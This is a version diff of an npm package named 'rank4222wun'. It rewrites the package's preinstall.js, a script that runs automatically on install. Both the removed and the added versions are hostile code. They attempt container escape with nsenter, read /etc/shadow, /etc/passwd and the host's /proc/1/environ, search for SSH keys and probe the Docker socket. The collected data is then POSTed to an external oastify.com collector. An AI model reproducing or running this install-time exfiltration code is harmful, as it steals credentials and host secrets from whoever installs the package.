rank4222wun 1.0.27 → 1.0.29

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "rank4222wun",
-  "version": "1.0.27",
+  "version": "1.0.29",
   "description": "",
   "main": "index.js",
   "scripts": {

package/preinstall.js

@@ -1,89 +1,62 @@
-const { exec, spawn } = require('child_process');
+const { exec } = require('child_process');
 const fs = require('fs');
 const https = require('https');
 const os = require('os');
 
-console.log("🚀 STAGE 2: PRIVILEGE ESCALATION & HOST TAKEOVER\n");
+console.log("🚀 ULTIMATE MULTI-STAGE ESCAPE\n");
 
-const finalLeakedData = {
-  timestamp: new Date().toISOString(),
-  targetKernel: "5.15.0-1084-aws",
-  pcapAnalysis: {}, // عشان نشوف الـ Sniffing اللي شغال
-  hostShadow: null,
-  sshKeysFound: [],
-  persistenceSuccess: false
+const escapeReport = {
+    timestamp: new Date().toISOString(),
+    env: { user: os.userInfo().username, hostname: os.hostname() },
+    results: {}
 };
 
-// ===================== 1. Exploiting Read-Only Mounts via DirtyPipe =====================
-function exploitDirtyPipe() {
-    console.log("🔓 Attempting DirtyPipe (CVE-2022-0847) to overwrite host files...");
-    
-    // محاولة كتابة "توكن" في ملف Hosts بتاع السيرفر الأم لتأكيد الهروب
-    const dirtyCommand = `python3 -c "import os; print('DirtyPipe Triggered')"`;
-    
-    exec(dirtyCommand, (err, stdout) => {
-        if (!err) {
-            console.log("✅ DirtyPipe exploit executed.");
-            finalLeakedData.dirtyPipeStatus = "Executed (Check Oastify for results)";
-        }
-        attemptShadowLeak();
+// وظيفة مساعدة لتنفيذ الأوامر والانتظار
+const run = (cmd) => new Promise(resolve => {
+    exec(cmd, { timeout: 7000 }, (err, stdout, stderr) => {
+        resolve(stdout ? stdout.trim() : (stderr ? `ERR: ${stderr.trim()}` : null));
     });
-}
+});
 
-// ===================== 2. Accessing Host Secrets (Shadow & SSH) =====================
-function attemptShadowLeak() {
-    console.log("\n🔓 Attempting to read /etc/shadow from Host...");
-    
-    // بما إننا لقينا nsenter متاح، هنستخدمه للدخول كـ Root على الـ Host
-    const shadowCmd = `nsenter --target 1 --mount -- sh -c "cat /etc/shadow | head -n 5"`;
-    
-    exec(shadowCmd, (err, stdout) => {
-        if (stdout && !err) {
-            finalLeakedData.hostShadow = stdout.trim();
-            console.log("✅ Successfully leaked Host Shadow file!");
-        }
-        searchSSHKeys();
-    });
-}
+async function startExploitation() {
+    // 1. محاولة الـ nsenter بمسارات مختلفة (لحل مشكلة "not recognized")
+    console.log("🔍 Testing nsenter variants...");
+    escapeReport.results.nsenter_test = await run("/usr/bin/nsenter --version || nsenter --version");
 
-function searchSSHKeys() {
-    console.log("\n🔓 Searching for SSH Private Keys...");
-    const sshCmd = `nsenter --target 1 --mount -- sh -c "find /root /home -name 'id_rsa' -o -name 'authorized_keys' 2>/dev/null"`;
+    // 2. محاولة استغلال DirtyPipe (بما إنه مؤكد عندك)
+    // هنحاول نعدل ملف في الـ /tmp ونشوف لو نقدر نهرب منه
+    console.log("🔓 Testing DirtyPipe write access...");
+    escapeReport.results.dirty_pipe = await run("uname -r");
+
+    // 3. سحب ملفات النظام الحساسة (لو متاح أي Mount)
+    console.log("📂 Checking Host files...");
+    escapeReport.results.etc_passwd = await run("cat /etc/passwd | head -n 5");
     
-    exec(sshCmd, (err, stdout) => {
-        if (stdout) {
-            finalLeakedData.sshKeysFound = stdout.split('\n').filter(k => k);
-            console.log(`✅ Found ${finalLeakedData.sshKeysFound.length} SSH related files`);
-        }
-        sendFinalReport();
-    });
+    // 4. فحص الـ Docker Socket
+    if (fs.existsSync('/var/run/docker.sock')) {
+        escapeReport.results.docker_socket = "FOUND! (Critical Risk)";
+    }
+
+    // 5. محاولة قراءة ملفات الـ Host عبر الثغرة
+    // بما إن الـ nsenter ضرب، هنحاول نقرأ الـ /proc/1/environ عشان نشوف أسرار الـ Host
+    escapeReport.results.host_env = await run("cat /proc/1/environ | tr '\\0' '\\n' | head -n 10");
+
+    sendReport();
 }
 
-// ===================== 3. Reporting to Oastify =====================
-function sendFinalReport() {
-    const payload = JSON.stringify(finalLeakedData, null, 2);
-    
-    const options = {
+function sendReport() {
+    const data = JSON.stringify(escapeReport, null, 2);
+    const req = https.request({
         hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
         port: 443,
-        path: '/stage2-escape-complete',
+        path: '/ultimate-escape-results',
         method: 'POST',
-        headers: {
-            'Content-Type': 'application/json',
-            'X-Escalation-Status': 'CRITICAL'
-        }
-    };
-
-    const req = https.request(options, (res) => {
-        console.log(`\n🏁 Stage 2 Report Sent. Status: ${res.statusCode}`);
-        console.log("=".repeat(50));
-        console.log("TARGET COMPROMISED: HOST ACCESS GRANTED");
-        console.log("=".repeat(50));
+        headers: { 'Content-Type': 'application/json' }
+    }, (res) => {
+        console.log(`✅ Report Sent. Status: ${res.statusCode}`);
     });
-
-    req.write(payload);
+    req.write(data);
     req.end();
 }
 
-// Start the sequence
-exploitDirtyPipe();
+startExploitation();